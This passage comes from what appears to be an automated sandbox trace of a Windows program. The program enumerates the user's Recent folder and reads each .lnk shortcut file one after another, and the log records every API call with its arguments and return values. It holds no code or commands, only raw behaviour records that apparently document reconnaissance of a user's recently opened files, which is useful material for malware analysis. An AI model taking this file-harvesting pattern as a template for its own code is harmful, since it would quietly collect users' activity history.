pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c04fzue-z7kvyl_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.622] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x996 [0076.622] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1e0, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c1e0*, lpNumberOfBytesRead=0x18e2f8*=0x996, lpOverlapped=0x0) returned 1 [0076.623] CloseHandle (hObject=0x3f8) returned 1 [0076.623] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.623] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e280ce0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e280ce0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e280ce0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x0, dwReserved1=0x0, cFileName="c9bdd6Fy9R2i0LIdNVF1.lnk", cAlternateFileName="C9BDD6~1.LNK")) returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x60 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x5f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\c9bdd6Fy9R2i0LIdNVF1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x5f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk") returned 1 [0076.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c9bdd6fy9r2i0lidnvf1.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.623] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x275 [0076.623] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c230, nNumberOfBytesToRead=0x275, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c230*, lpNumberOfBytesRead=0x18e2f8*=0x275, lpOverlapped=0x0) returned 1 [0076.624] CloseHandle (hObject=0x3f8) returned 1 [0076.624] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.624] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfc1fa0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cfc1fa0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cfc1fa0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CabPSqWIP4Gw.lnk", cAlternateFileName="CABPSQ~1.LNK")) returned 1 [0076.624] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c9bdd6Fy9R2i0LIdNVF1.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk") returned 1 [0076.624] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk", len=0x58 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", len=0x57 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CabPSqWIP4Gw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", len=0x57 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk") returned 1 [0076.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cabpsqwip4gw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.625] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14c2 [0076.625] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c290, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c290*, lpNumberOfBytesRead=0x18e2f8*=0x14c2, lpOverlapped=0x0) returned 1 [0076.626] CloseHandle (hObject=0x3f8) returned 1 [0076.626] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.626] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b69d740, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9b69d740, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9b69d740, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="ch1D7KyT.lnk", cAlternateFileName="")) returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CabPSqWIP4Gw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk", len=0x54 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", len=0x53 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ch1D7KyT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", len=0x53 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk") returned 1 [0076.626] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk") returned 1 [0076.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ch1d7kyt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.627] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x370 [0076.627] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c2e4, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c2e4*, lpNumberOfBytesRead=0x18e2f8*=0x370, lpOverlapped=0x0) returned 1 [0076.627] CloseHandle (hObject=0x3f8) returned 1 [0076.628] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.628] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37a200, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d37a200, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d37a200, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ck3vXIHItmOFDrYXb.lnk", cAlternateFileName="CK3VXI~1.LNK")) returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ch1D7KyT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Ck3vXIHItmOFDrYXb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk") returned 1 [0076.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck3vxihitmofdryxb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.628] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1427 [0076.628] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c350, nNumberOfBytesToRead=0x1427, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c350*, lpNumberOfBytesRead=0x18e2f8*=0x1427, lpOverlapped=0x0) returned 1 [0076.629] CloseHandle (hObject=0x3f8) returned 1 [0076.629] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.629] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d96d900, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d96d900, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d96d900, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ckvWAPm3 YLx5ut.lnk", cAlternateFileName="CKVWAP~1.LNK")) returned 1 [0076.629] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck3vXIHItmOFDrYXb.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.629] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk", len=0x5b | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.629] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.629] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", len=0x5a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.630] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\ckvWAPm3 YLx5ut.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.630] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", len=0x5a | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.630] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk") returned 1 [0076.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ckvwapm3 ylx5ut.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.630] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa6e [0076.630] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c3b0, nNumberOfBytesToRead=0xa6e, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c3b0*, lpNumberOfBytesRead=0x18e2f8*=0xa6e, lpOverlapped=0x0) returned 1 [0076.631] CloseHandle (hObject=0x3f8) returned 1 [0076.631] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.631] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98349ce0, 